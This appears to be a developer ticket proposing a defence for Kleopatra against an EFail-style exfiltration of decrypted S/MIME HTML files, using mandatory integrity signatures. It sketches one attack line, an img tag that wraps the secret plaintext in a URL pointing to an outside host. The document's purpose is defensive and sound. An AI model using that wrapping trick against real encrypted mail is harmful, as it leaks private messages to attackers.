While the EFail paper does not specifically mention this we see the following problem:

Bob sends Alice an HTML document. Eve does the same exfiltration trick as described in the EFail paper e.g. constructing something like:

<img src="http://my.site/? 
secret HTML document
"/>

While this attack needs more knowledge about the encrypted content it is feasible and not limited to HTML files.

As authenticated encryption is something for the far future ( T3979 ) we need a solution for the near future.

Our idea is:

• Make sure that when working with an S/MIME file that the plaintext is always signed.
  • We do not care about authenticity / validity. Only about integrity.
  • This way an attacker would already need to know the hash of the plaintext.

• When decrypting an S/MIME file automatically verify signatures and only allow to save the plain text if the hash of the signature is correct.
  • The the decrypted file could be an opaque signed file
  • The decrypted file could be the plaintext but a matching detached signature lies next to the encrypted file.

To reiterate: The signature does not necessarily need to be trusted, it only needs to verify that the hash of the plaintext matches a hash known to the sender, so that integrity is ensured.
Authenticity / trust will of course still be handled as usual.

If we should offer an option to disable this behavior in Kleopatra or if users should be required to use the command line for decryption of "not integrity assured files" is currently undecided.